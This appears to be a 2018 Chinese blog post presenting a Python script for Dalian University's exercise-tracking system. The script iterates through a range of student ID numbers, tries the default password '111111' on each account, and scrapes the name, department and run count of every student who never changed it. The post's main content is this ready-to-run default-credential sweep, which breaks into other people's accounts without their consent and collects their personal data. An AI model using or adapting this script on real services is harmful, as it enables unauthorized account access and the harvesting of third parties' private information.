Huge Lemon的博客

Python 3.6 模拟登录学校跑操系统获取跑操信息

2018-05-14

简介

本程序通过模拟登录大连大学智慧体育云获取数据
该程序要用到requests, BeautifulSoup, re, html.parser等库
使用session的post,将用户的数据传给服务器以登录。session可以将用户登录的cookie保存,从而得以进行访问其它网页。
BeautifulSoup获取网页数据,并将获取的数据打印在屏幕上。
因为学生默认密码为”111111”,所以改过密码的学生无法登录其账号,本程序将其跳过

源代码

跑操爬虫
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
from bs4 import BeautifulSoup
import msvcrt
import re
from html.parser import *

session = requests.session()
login_data = {'StudentNo': '****', 'Pwd': '111111'}

if __name__ == '__main__':
i = 16422001
count = 0
count1 = 0
tplt = "{0:^10}\t{1:{3}^6}\t{2:^4}"

print("\n------------------信息学院16级跑操情况------------------n")
print(tplt.format("学号", "姓名", "跑操次数", chr(12288)))

while(i <= 16429060):
if(count1 > 70):
i+=930
count1=0
login_data['StudentNo'] = str(i)
response = session.post("http://isscp.dlu.edu.cn/User/UserLogin", data=login_data)

if("true" in response.text):
i += 1
count1 += 1
continue

res = session.get("http://isscp.dlu.edu.cn/Movement/Sign?dc=30&ds=0")
res1 = session.get("http://isscp.dlu.edu.cn/My/Index")

soup = BeautifulSoup(res.text, "html.parser")
soup1 = BeautifulSoup(res1.text, "html.parser")

text = soup.find('p', 'data_p_two')
text1 = soup1.find('span', 'my_row_right_name')
text2 = soup1.find('span', 'my_row_right_department')

name = text1.find('p')
department = text2.find('p')

print(tplt.format(str(i), name.text, text.text, chr(12288)))
i += 1
count += 1
count1 += 1

print("\n共计" + str(count) + "人, 按任意键退出...\n")
msvcrt.getch()
使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏